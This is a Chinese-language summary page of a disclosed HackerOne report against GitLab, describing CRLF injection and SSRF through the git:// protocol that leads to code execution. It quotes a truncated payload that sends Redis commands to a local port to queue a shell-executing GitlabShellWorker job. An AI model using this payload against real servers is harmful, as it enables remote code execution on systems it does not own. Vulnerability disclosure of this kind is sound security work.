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CRLF injection & SSRF in git:// protocal lead to arbitrary code execution

服务端请求伪造 / SSRF / #441090

厂商
GitLab
严重程度
中危 · CVSS 8.5
赏金
—
弱点
SSRF
研究员
@chromium1337
披露日期
2020-11-23
资产
—
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2340 字符中的一小部分)
**Summary:** The implementation of `git://` protocal in GitLab is vulnerable to CRLF injection and Server-Side Request Forgery. If the redis server is configured to listen on TCP socket (eg. port 6379), an attacker can abuse SSRF to manipulate redis server, injecting malicious payload into …
原文中的代码
git://127.0.0.1:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|/usr/bin/python3 -c \\\\\'import …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @chromium1337 · 版权归作者与 GitLab 所有

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